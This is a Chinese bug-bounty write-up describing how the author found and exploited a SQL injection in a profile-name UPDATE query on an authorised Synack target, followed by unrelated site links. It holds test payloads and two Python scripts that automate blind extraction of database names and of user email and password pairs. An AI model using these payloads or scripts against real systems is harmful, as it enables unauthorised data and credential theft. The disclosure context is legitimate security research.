【挖洞经验】如何在一条UPDATE查询中实现SQL注入
直奔主题
跟往常一样,在喝完我最爱的果汁饮料之后,我会习惯性地登录我的Synack账号,然后选择一个应用来进行渗透测试,此时我的“黑客之夜”便正式开始了。
我与很多其他的安全研究人员的习惯一样,我会在待测试目标中随机选择测试点来加载我的XSS Payload(我通常会使用’”><img src=x onerror=alert(2) x=来作为Payload,注:开头是一个单引号)。在测试的过程中,我的这个Payload让其中一个测试点返回了一个“500 error”,错误信息提示为“系统遇到了一个SQL错误”,看到了这条错误信息之后,我瞬间就兴奋起来了,因为凭我之前的经验来看,这里很有可能存在一个SQL注入漏洞。
根据系统返回的错误信息来看,错误内容就是我的“用户全名(Full Name)”,所以我赶紧切回刚才的测试界面,然后用test‘test再次进行了一次测试,而此时系统返回的是与刚才一模一样的错误内容,这也就意味着引起系统发生错误的“罪魁祸首”就是Payload中的那个单引号。
了解到这一关键信息之后,我意识到这个应用中所使用的SQL查询语句并没有对单引号进行转义,所以我打算输入两个单引号来看看会发生什么事。所以我这一次输入的是test”test,使我感到震惊的是,这一次系统并没有提示任何的错误信息,但是我的用户全名变成了test’test!

由于这个存在注入点的文本域是用来编辑用户全名(FullName)的,所以我猜这个存在漏洞的查询语句为UPDATE查询。于是我将我的全名改为了’+@@VERSION +’,然后重新加载页面之后,我的用户全名就变成了5.6,而不出意外的话,这个5.6代表的就是后台MySQL数据库的版本号了。
需要注意的是,页面发送的是JSON请求,所以这里的“+”代表的并不是空格符(%20)。

随后,我便将我目前为止发现的所有东西报告给了Synack的管理团队,但是他们给我的回复是让我去尝试进一步利用这个漏洞并从数据库中提取出数据。
并非一帆风顺
但是仅仅通过这个SQL注入漏洞就想提取出我们想要的数据,似乎并非易事。因为每当我尝试提取出一个字符串数据时,系统返回的值都是0,因为MySQL中并不会使用“+”来连接两个字符串(MySQL会尝试将加号两端的字段值尝试转换为数字类型,如果转换失败则认为字段值为0)。
如果这个测试对象使用的是SQL Server的话,那我就不用在这里废话了,因为我可以直接用“+”来连接两个字符串。比如说,我可以直接用’x'+@@VERSION + ‘ x ‘来把我的名字改为x5x(这里的5是数据库管理系统的版本号)。
但问题就在于这是一个MySQL数据库,而在MySQL中“+”是用来对数字求和的,所以’x'+version()+’x'返回的是5.6,因为字符串转换为整形数值之后值是0,所以这就相当于是0+5.6+0,即返回值为5.6。这也就意味着,类似’x'+user()+’x'这样的Payload其返回的值同样是0,因为用户的名字肯定也是一个字符串,而正如我之前所解释的那样,加号“+”只能用来对数字进行求和。
这样一来,如果我们想要从这个数据库中提取出字符串的值,那么唯一有可能的方法就是将其转换成数字再进行提取了,于是我决定使用ASCII()函数先将字符串转换为其对应的ASCII码数值,然后将这些值提取出来之后再把它们转换为明文信息。比如说:
‘+ length(user()) # –> 获取待转换字符串的长度
‘+ ASCII(substr(user(),1)) # –>获取待转换字符串的第一个字符
‘+ ASCII(substr(user(),2)) # –>获取待转换字符串的第二个字符
‘+ ASCII(substr(user(),3)) # –>获取待转换字符串的第三个字符
等等等等,以此类推…
但是问题又来了,因为我要不停地使用substr()函数来截取字符串中的每一个字符,然后将它们转换为相应的ASCII值,然后再将它们转换回字符串的明文形式,这一切如果全部通过手动操作来实现的话,就完全不符合我们黑客的“人生观”了。因此,我打算写一个简单的Python脚本来自动提取并转换这些字符串。脚本代码如下:
import requests
rheaders = {} # Request headers
rcookies = {} # Request cookies
url = 'https://<target>/api/v1/' # Vulnerable endpoint
len = 1000 # length of the string (using 1000 assuming thatit won't be more than that, going out of the string length will return 0 atthat moment we know that we got the full string)
column = 'schema_name' # what to return
table = 'information_schema.schemata' # from what
orderby = 'schema_name'
d=''
start = 0
end = 20
for l in range(start,end):
limit = l
print'Retrieving '+column+' at row ' + str(limit+1) + '...'
if l > start and d == '':
break
d=''
for i inrange(1,len):
r =requests.put(url, json={"fullname":"' - (selectASCII(substr("+column+","+str(i)+")) from"+table+" order by "+orderby+" limit "+str(limit)+",1)#"},headers=rheaders,cookies=rcookies)
b =requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5]# Get the returned value
n =filter(lambda b:b>='0' and b<='9', b)
d +=chr(int(n)) # Convert ASCII number to equivalent character
#print d
if n== '0':
print column + ' at row ' + str(limit+1)+' :- ', d
break
那么在这个脚本的帮助下,我只需要修改代码中“column”、“table”以及“orderby”变量的值,我就可以轻而易举地从这个数据库中提取出任何我想要的数据了。
下面这张截图显示的是用户当前可以访问到的数据库信息:

再对代码进行一些简单的修改,我就可以使用ASCII(substr(concat(email_address,0x3a,password),i)))来提取出用户的邮箱地址以及登录密码了。修改后的代码如下:
import requests
rheaders = {}
rcookies = {}
url = 'https://<target>/api/v1/'
d = ""
len = 1000
limit = 400000
print 'Retrieving email and pass at row', limit
for i in range(1,len):
r =requests.put(url, json={"fullname":"' - (selectASCII(substr(concat(email_address,0x3a,password),"+str(i)+")) from__users limit "+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
b =requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5]
n = filter(lambdab:b>='0' and b<='9', b)
d += chr(int(n))
print d
if n == '0':
print"Email:Password :- ", d
break
脚本的运行结果如下所示:

漏洞时间轴
- 14/2/2017 10:25 PM –> 首次提交漏洞报告
- 14/2/2017 11:02 PM –> Synack OPs团队让我尝试进一步利用漏洞并提取数据
- 14/2/2017 3:00 PM –> 提交Python脚本和漏洞PoC
- 15/2/2017 10:22 AM –> 提交了更多漏洞参数信息
- 15/2/2017 3:28 PM –> 得到了丰厚的漏洞奖金
- 15/2/2017 10:18 PM –> 漏洞被修复
【挖洞经验】如何在一条UPDATE查询中实现SQL注入的更多相关文章
- [转帖]挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息
挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息 https://www.freebuf.com/vuls/202820.html 知识就是力量 5000刀的一个漏洞. ...
- 转:Google Project Zero挖洞经验整理
https://www.sec-un.org/google-project-zero%E6%8C%96%E6%B4%9E%E7%BB%8F%E9%AA%8C%E6%95%B4%E7%90%86/ 1. ...
- 挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用
几个星期以前,作者在某个OOB-XXE漏洞测试中遇到过这样一种场景:目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求(Outgoing Request),但最终,通过利用php:// ...
- 挖洞入门_显错型SQL注入
简介:在漏洞盒子挖洞已经有一段时间了,虽说还不是大佬,但技术也有所进步,安全行业就是这样,只有自己动手去做,才能将理论的知识变为个人的经验.本篇文章打算分享一下我在挖显错型SQL注入漏洞过程中的一些个 ...
- 在UPDATE中更新TOP条数据以及UPDATE更新中使用ORDER BY
正常查询语句中TOP的运用: SELECT TOP 1000 * FROM MP_MemberGrade 随意更新一张表中满足条件的前N条数据: UPDATE TOP (1) MP_Member ...
- unity, 挖洞特效
想模仿这个游戏的挖洞特效: 思路: 效果: 代码下载:http://pan.baidu.com/s/1kUN8goZ
- 如何将多条update语句合并为一条
需求: 如何将多条update语句合并为一条update语句:如,update table1 set col='2012' where id='2014001' update table1 ...
- 第二届i春秋挖洞大赛的一些感想
挖洞比赛嘛,根据规则就是一个问题,如何在短时间内挖到更多.等级更高的漏洞? 先分析这个问题,需求是什么? 更多? 等级更高? 短时间内? 首先要解决的是时间的问题 时间有限,所以你必须要快.如何快?把 ...
- UnityGUI扩展实例:图片挖洞效果 Mask的反向实现
转载自 https://www.taidous.com/forum.php?mod=viewthread&fid=211&tid=55259 我想大家在用uGUI做界面时,可能经常会碰 ...
随机推荐
- SocketServer模块
在利用select实现伪并发的socket博文中我们说了: 如果要实现一个server端可以和多个客户端进行通信可以使用 1.多线程 2.多进程 3.select I/O多路复用 在那篇博文中我们介绍 ...
- DBProxy 入门到精通系列(二):DBProxy快速入门教程
这里主要用来了解有关DBProxy方面的部署及基本的配置,以及模拟架构 1 DBProxy方面的安装部署 1)基础环境的部署 # .x86_64 Percona-Server-client-.x86_ ...
- Unity3d在Window上使用SAPI进行语音识别
前言 在之前<Unity利用Sapi进行windows语音开发>中,本计划不准备继续做语音识别.因为在unity3d中已经提供了语音识别的相关方法,详见unity3d的官方文档:https ...
- 老李分享:robotium3.6与4.0 later 的区别 1
老李分享:robotium3.6与4.0 later 的区别 因为下载的直接是最新版本的robotium4.1版,这次碰到gridView问题时,发现网上有getCurrentListViews( ...
- jmeter、java自动化学习地址
自动化学习社区地址:http://www.hordehome.com/c/14-category jmeter学习地址(范丰平博客):http://www.cnblogs.com/fengpingfa ...
- Kafka0.10.2.0分布式集群安装
一.依赖文件安装 1.1 JDK 参见博文:http://www.cnblogs.com/liugh/p/6623530.html 1.2 Scala 参见博文:http://www.cnblogs. ...
- hdoj_2546饭卡(强忍悲痛,好好写题解)
Problem Description 电子科大本部食堂的饭卡有一种很诡异的设计,即在购买之前判断余额.如果购买一个商品之前,卡上的剩余金额大于或等于5元,就一定可以购买成功(即使购买后卡上余额为负) ...
- 使用vs2015搭建Asp.net Core
准备工具 1.首先得安装vs2015 并且升级至 update3及以上 2.安装.net core sdk.附上官网下载地址 http://www.microsoft.com/net/down ...
- 一道CVTE前端二面笔试题
题目:给你一个数组,输出数组中出现次数第n多的数字; 比如:[1,1,1,2,2,2,3,3,4,4,5,5,6,6,7]; 1---3次 2---3次 3---2次 4---2次 5---2次 6- ...
- java面试题(一)
1.面向对象的特征有哪些方面? 答:面向对象的特征主要有以下几个方面: - 抽象:抽象是将一类对象的共同特征总结出来构造类的过程,包括数据抽象和行为抽象两方面.抽象只关注对象有哪些属性和行为,并不关注 ...